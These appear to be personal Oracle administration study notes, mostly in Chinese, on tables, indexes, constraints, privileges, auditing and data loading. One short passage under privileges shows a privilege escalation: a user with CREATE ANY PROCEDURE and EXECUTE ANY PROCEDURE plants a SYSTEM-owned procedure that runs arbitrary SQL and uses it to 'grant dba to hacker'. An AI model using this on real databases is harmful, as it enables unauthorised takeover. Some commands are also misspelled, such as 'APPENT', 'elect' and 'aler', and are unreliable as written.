oracle笔记3

十、Managing Tables

1、--创建临时表空间

--session级有效

create global temporary table tmp_session on commitpreserve rows

as select * from t ;

--transaction级有效

create global temporary table tmp_transaction on commitdelete rows

as select * from t;

2、查看表的定义的详细信息

select dbms_metadata.get_ddl('TABLE','T') from dual;

3、更改表 的表空间

alter table t move tablespace mssm;

4、Dropping a Column

alter table hr.t

drop column c

cascade constraints checkpoint 1000;

alter table hr.t drop columns continue;

5、Renaming a Column

alter table hr.t rename column b to c;

6、Using the UNUSED Option

(1) Mark a column as unuserd;

alter table hr.t set unused column c;

(2) Drop unused columns

alter table hr.t drop unused columns checkpoint 1000;

(3)Continue to drop column operation;

alter table hr.t drop columns continue checkpoint 1000;

十一、Managing Indexes

1、create Bitmap Indexes

create bitmap index my_bit_idx on t(sex);

2、Alloc &  Dealloc Index Space

alter index my_bit_idx allocate extent (size 200K default '/db/index01.dbf');

alter index my_bit_idx deallocate unused;

3、rebuilding Index

alter index my_bit_idx rebuild tablespace index01;

4、Coalescing indexes

alter index my_bit_idx coalesce;

5、checking Index Validity

analyze index my_bit_idx validate structure;     (index_stats)

select height,name, lf_rows,lf_blks,del_lf_rows from index_stats;

6、Indentifying  Unused Indexes

alter index my_bit_idx monitoring usage;

alter index my_bit_idx nomonitoring usage;

select * from v$object_usage;

7、dba_indexes、dba_ind_columns、v$object_usage

十三、Maintaining Data Integrity

1、Check约束

alter table tt add constraint age_ct check(age>0);

2、Constraint States

alter table t add primary key(id) disable;

select constraint_name,status,validated from user_constraints;

alter table t enable novalidate primary key;

alter table t disable validate primary key;

alter table t enable validate primary key;

3、Immediate vs Deferred

alter table t add primary key(id) deferrable;

select index_name, uniqueness from user_indexes;

set constraints all deferred;

4、PK & UK Enforcement

 

十六、Managing Privileges

1、允许普通用户查看数据字典权限

alter system set O7_DICTIONARY_ACCESSIBILITY=true scope=spfile;

2、oracle漏洞

只要赋给某个用户的create session、create any procedure、execute any procedure

就可以通过

create procedure system.h1(h1_str in varchar2) as

begin

execute immediate h1_str;

end;

 

execute system.h1('grant dba to hacker');

 

3、

 

 

 

4、数据字典

dba_sys_privs

session_privs

dba_tab_privs

dba_col_privs
 

 

 

十七、Managing Roles

 

1、查看role的所有权限

select * from role_role_privs;

select * from role_sys_privs;

select * from role_tab_privs;

2、getting Role Information

DBA_ROLES、DBA_ROLE_PRIVS、ROLE_ROLE_PRIVS、DBA_SYS_PRIVS、

ROLE_SYS_PRIVS、ROLE_TAB_PRIVS、SESSION_ROLES

 

 

十八、Auditing 

1、更改audit

show parameter audit

alter system set audit_trail=db scope=spfile; 

select * from aud$;

audit session by u1;

elect username,timestamp ,action_name from dba_audit_trail;

2、Auditing Options

Statement auditing:

audit table;

Privilege auditing:

audit create any trigger;

Schema object auditing:

audit select on emi.orders; 

noaudit select on u1.t;

3、Getting Auditing Information

ALL_DEF_AUDIT_OPTS

DBA_STMT_AUDIT_OPTS

DBA_PRIV_AUDIT_OPTS

DBA_OBJ_AUDIT_OPTS

AUD$

 

十九、Loading Data into a Database

1、Serial Direct Load

insert /*+ APPENT */ into bt select * from all_objects;

 

alter table bt nologging;

insert /*+ APPENT */ into bt select * from all_objects;

 

2、Parallel Direct Load\

--创建分区表 

create table emp
(empno int,
 ename varchar2(20)
)
partition by hash(empno)
(partition part1,
 partition part2
);

 

select object_name,object_type from user_objects;

 

--load data

aler session enable parallel dml;

 

insert /*+PARALLEL(hr.emplyees,2) */

into hr.employees nologging

select * from hr.old_employees;

 

 3、

 

 

二十、Managing user

--user_sys_privs         当前用户下的系统权限

--role_sys_privs 当前用户下的系统role权限

--session_privs

--session_roles